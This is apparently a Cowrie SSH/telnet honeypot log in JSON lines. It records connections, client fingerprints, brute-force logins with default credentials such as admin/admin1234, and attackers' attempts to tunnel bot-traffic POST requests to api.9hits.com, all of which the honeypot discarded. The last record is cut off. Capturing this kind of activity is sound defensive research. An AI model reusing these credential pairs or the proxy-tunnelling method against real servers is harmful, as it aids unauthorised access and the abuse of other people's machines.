{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03M\\xc7g/.\\xcfI\\x1cO\\x14q\\x11|!\\x9c\\xdbt\\xd9`k\\xa4\\xcc\\xd79\\xc6f\\xd1\\x10]\\xb5\\xce\\x16 \\x87\\x97\\x9eD\\xd9\\xb7\\xe6\\xc4\\x19!\\xdb\\xa2\\x91V\\xa8\\x17\\'\\x964\\xd1fw\\xc3\\x8b\\x8b\\x8a\\xb5\\xc1\\xea\\x05|,\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xc07\\xc2-\\x18\\x11\\\\VP\\xf2[\\r\\xa5i.\\x19M\\xb0YR|\\r\\x0f\\xe8\\x9f\\xd3\\x8f\\xeaX\\xf28\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03M\\xc7g/.\\xcfI\\x1cO\\x14q\\x11|!\\x9c\\xdbt\\xd9`k\\xa4\\xcc\\xd79\\xc6f\\xd1\\x10]\\xb5\\xce\\x16 \\x87\\x97\\x9eD\\xd9\\xb7\\xe6\\xc4\\x19!\\xdb\\xa2\\x91V\\xa8\\x17\\'\\x964\\xd1fw\\xc3\\x8b\\x8b\\x8a\\xb5\\xc1\\xea\\x05|,\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xc07\\xc2-\\x18\\x11\\\\VP\\xf2[\\r\\xa5i.\\x19M\\xb0YR|\\r\\x0f\\xe8\\x9f\\xd3\\x8f\\xeaX\\xf28\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:15.232603Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:15.632864Z","src_ip":"113.164.152.20","session":"737f1d4fae72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.274131298065186,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:17.108095Z","src_ip":"172.81.62.90","session":"d1723db4e1cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":54612,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecb12f4f5e52","protocol":"ssh","message":"New connection: 103.60.242.169:54612 (159.203.135.109:22) [session: ecb12f4f5e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:25.707541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:25.711756Z","src_ip":"103.60.242.169","session":"ecb12f4f5e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:25.960518Z","src_ip":"103.60.242.169","session":"ecb12f4f5e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":51006,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4a5008191bc","protocol":"ssh","message":"New connection: 23.148.145.132:51006 (10.17.0.5:22) [session: a4a5008191bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:26.068257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:26.072720Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:26.161959Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123#","message":"login attempt [root/admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:26.986689Z","src_ip":"103.60.242.169","session":"ecb12f4f5e52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:27.425250Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:28.238264Z","src_ip":"103.60.242.169","session":"ecb12f4f5e52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:32.946354Z","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:32.964354Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Mm9TaFdHTlpyZjB7eikwTw%3D%3D%2FuDMWN3DjDx8oi33qG00C9zfZyIYtp5oSQ%2B%2B4kUQp%2FNrE8LTMj%2FPa5FTjjlu0aR4Glb0xQz41cQnht%2FfCVakP3GEpQ8YGuk4Z0%2FFBdJH4bXH6Pcxa1fiSWAt6szjpf4Wmabte4y1uGyrnQStObzlySyyyPV%2FnxDB6Eeby2dmoIezt%2FhxZjRohh%2BGSeFofowZiyU%2BfBJFioBdTEF9VhYb6rd6pa7XqcYSWoj46ye8Hx4kSI8qqiHg%2FJHB1VLrHf1XoXLO%2BZ%2Fc29mkMq3n%2BhX%2FSlVuHC4YDcM1pALwdt9ErIM9coD5Z0BnnZO%2BNA8UsKPwBWooExzut%2BnMV9HIufycBA9jVIs%2Bs3XO3%2FKwDbtOQn1YtLzNKsx1VeaaAJYcptYVluY6fOBN%2Bwk3HXhDm0i8WM7VKSD7YRsS0d0K7d73hNiSAMvKEpZh0koNYMv9b3UPzSa%2BLzp6KdE0rQuZ%2B0PUTVhciB1OXZK7xLi5eRXTdGQHoV3hSZDQg9c%2B1BkEFHxl%2FuXBn0c8LS1SYDwXj7vr1%2BzR2W60D7DNcpMIYyF2emVwO93TRsPoR%2FhPo6Htpk7Jdegh7a8XMxb%2FZviH1bRnJrcfWFaJur8LfdFNbbzmHUAbIKvez12mYU49CAMzMr8IhDN%2F%2BH5LG7PHZVM6o1cAz2qLNbk2qryOxig86ErkrjReHG8E4x7V99DdV7sh%2FzF4UrR0WCNN8QcRhOHXCoPvVud%2FPiymligaHQmFezOwSi9%2FAlz3aheDKo4PpbiiGwMoLb112SeXjmFYX2CqKnePg584gTY0nykIpW%2B%2F8HmzIG3tnGGNm3upe7mv%2Baw0SBBsgDXP8Eb6OXwajLkYT5KWpNQdPxcceNs3aU%2BjKoaN4z4tqRvEV3qyLlAwJGxlgNpSXdmBxGGirEVV4S9QxIaQuPMipJpZqr8Nv%2FciJRQ6EB7uqjhE8UyZmzLsTJEsq7Gh2MOvCVU5gFhIXFSctrOeI0M3MVo2YrYryXjY2NimIcLHqyQ51XMbUXDTzgqqbAICZiY3twIJcpSwMHaEz6Vx3jHI8QjKnSOsQyeXl2x7urw%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.182 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Mm9TaFdHTlpyZjB7eikwTw%3D%3D%2FuDMWN3DjDx8oi33qG00C9zfZyIYtp5oSQ%2B%2B4kUQp%2FNrE8LTMj%2FPa5FTjjlu0aR4Glb0xQz41cQnht%2FfCVakP3GEpQ8YGuk4Z0%2FFBdJH4bXH6Pcxa1fiSWAt6szjpf4Wmabte4y1uGyrnQStObzlySyyyPV%2FnxDB6Eeby2dmoIezt%2FhxZjRohh%2BGSeFofowZiyU%2BfBJFioBdTEF9VhYb6rd6pa7XqcYSWoj46ye8Hx4kSI8qqiHg%2FJHB1VLrHf1XoXLO%2BZ%2Fc29mkMq3n%2BhX%2FSlVuHC4YDcM1pALwdt9ErIM9coD5Z0BnnZO%2BNA8UsKPwBWooExzut%2BnMV9HIufycBA9jVIs%2Bs3XO3%2FKwDbtOQn1YtLzNKsx1VeaaAJYcptYVluY6fOBN%2Bwk3HXhDm0i8WM7VKSD7YRsS0d0K7d73hNiSAMvKEpZh0koNYMv9b3UPzSa%2BLzp6KdE0rQuZ%2B0PUTVhciB1OXZK7xLi5eRXTdGQHoV3hSZDQg9c%2B1BkEFHxl%2FuXBn0c8LS1SYDwXj7vr1%2BzR2W60D7DNcpMIYyF2emVwO93TRsPoR%2FhPo6Htpk7Jdegh7a8XMxb%2FZviH1bRnJrcfWFaJur8LfdFNbbzmHUAbIKvez12mYU49CAMzMr8IhDN%2F%2BH5LG7PHZVM6o1cAz2qLNbk2qryOxig86ErkrjReHG8E4x7V99DdV7sh%2FzF4UrR0WCNN8QcRhOHXCoPvVud%2FPiymligaHQmFezOwSi9%2FAlz3aheDKo4PpbiiGwMoLb112SeXjmFYX2CqKnePg584gTY0nykIpW%2B%2F8HmzIG3tnGGNm3upe7mv%2Baw0SBBsgDXP8Eb6OXwajLkYT5KWpNQdPxcceNs3aU%2BjKoaN4z4tqRvEV3qyLlAwJGxlgNpSXdmBxGGirEVV4S9QxIaQuPMipJpZqr8Nv%2FciJRQ6EB7uqjhE8UyZmzLsTJEsq7Gh2MOvCVU5gFhIXFSctrOeI0M3MVo2YrYryXjY2NimIcLHqyQ51XMbUXDTzgqqbAICZiY3twIJcpSwMHaEz6Vx3jHI8QjKnSOsQyeXl2x7urw%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:32.969054Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58335,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c6854db5d76","protocol":"ssh","message":"New connection: 123.27.168.40:58335 (10.17.0.5:22) [session: 6c6854db5d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:35.180684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:35.184573Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:35.418762Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:36.530585Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:36.897997Z","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.041189Z","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.411976Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.4.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TSpyJGYrWSovS0ZCSn5WOA%3D%3DJR1PnTrosukJU5s2lsXW1MWFImWRo%2BY0Oy5FnUvBsqOGB6Dqp%2F4csy49BdWR%2B1yWAiz5FU1XYX8yarvCpgr1gn8pSHQPDOOZ372%2FklCF0fpRP0VzmLhWIpU7Iu8qjeT04ujexyqqp%2FClBAGQt12kP%2ByDtrfCYWdI9MTO7mhQr8prD%2FarX0148mhIiVtgfX%2F0qv5CKR03ApC0wxF%2BOe7%2BTygvxR%2FloamMTUIKyF9THXESJOohi3AsQHKYxAvJiWR5PlkZKxmsgnvAGuozYue9Rye2EtlJ64rmM3ko0zfXxdnxXI0p5kyAULvyXyZoPMQ%2Fsv%2FN90pTphsf1Uvp8Igg7CwmK22EKIsYJjGAHt2rMa0svrEVnsHPowwgT3NxJiFEbUqDMEwVvSKuxkG7JBMYgLlzxMdSX45SQI7qWdhf0QKJcgv06EKSdgKcwX1B%2BwOlCUZvT2tbwa%2BoAXiAZQptk3hNm%2Bks76p0T28Yx7REE3Rnt7%2Fd2PEsBvd091KHuMHNhtXAX9Oj5ethswe22OWZfpuWjc%2FrZIHMxB3jk3rSqraUuNDo51aGkj4MEEReq4xkAuFK5lS9kkG1dpQorOSUZaY3gu6MSez3%2FkbkNmAUuVAwrGEYlGn%2B2W%2FqLSuOjgOXhYNHb9fqNGbM3LafV8xCXG9bImgKx4ysSrca6hMTfHh4MWt2LOHpJB7UYGOe3xyX8fc9XW%2FSZPPEp1g%2FpwBMGtvraAFZ1SFGm5EBr6OJ0O40TGD0bseCvOreE9EmKXXHeYN7J0C%2FZMQCeSAHwcpuZGYn6zrTFrpWpRXW8yLkSsORJWUF4Hl757aVzhrhpQEPc0VNEQfnW%2Fg0Jq2lzNjiiu7jb7Wv0ylDJNRMfhlNPorMs9eamEk%2FazExHPwzogGv%2BUe%2FhGkJhWW9J7M1WFPY7gLFDQm28EDApvQMCY7a1VXajdwDHDr%2Bymk4%2FTDroCOWHsOaRLZ3cxZpjkbX5N3PckWeHztQKqwBsg6XKuxywyQ2yDE%2B173aT%2Bowbyu4iAL5lDzgi0WXx%2FkImxwc%2Bjt6%2F7Z%2Bg8mqbMNWKd%2F8iz0hwOU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, 